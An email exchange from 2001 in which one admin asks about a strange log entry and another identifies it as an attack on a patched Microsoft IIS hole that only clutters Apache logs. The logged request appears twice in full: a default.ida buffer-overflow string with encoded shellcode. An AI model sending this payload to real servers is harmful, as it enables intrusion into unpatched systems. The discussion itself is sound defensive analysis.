I'm sure that most of us have seen this by now in our logs:
> xxx.xxx.xxx.xxx - - [19/Jul/2001:14:28:23 -0400] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
> 090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0
> 078%u0000%u00=a HTTP/1.0" 400 328
This is apparently an attack against a (patched) hole in Microsoft IIS, and
doesn't have any impact other than a minor log annoyance on Apache users.
ZDNet has a story regarding this:
http://www.zdnet.com/zdnn/stories/news/0,4586,5094345,00.html?chkpt=zdhpnews
01
Josh
> -----Original Message-----
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, July 19, 2001 2:17 PM
> To: [EMAIL PROTECTED]
> Subject: CGI Buffer Overflow?
>
>
> Anyone seen this before? I have looked around for similar attacks, but
> cannot find any info. I assume that is a unicode string padded out with
> Ns. How would I go about finding out what is in the string?
>
>
> xxx.xxx.xxx.xxx - - [19/Jul/2001:14:28:23 -0400] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
> 090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0
> 078%u0000%u00=a HTTP/1.0" 400 328
>
>
> --Brian
>
>
> --
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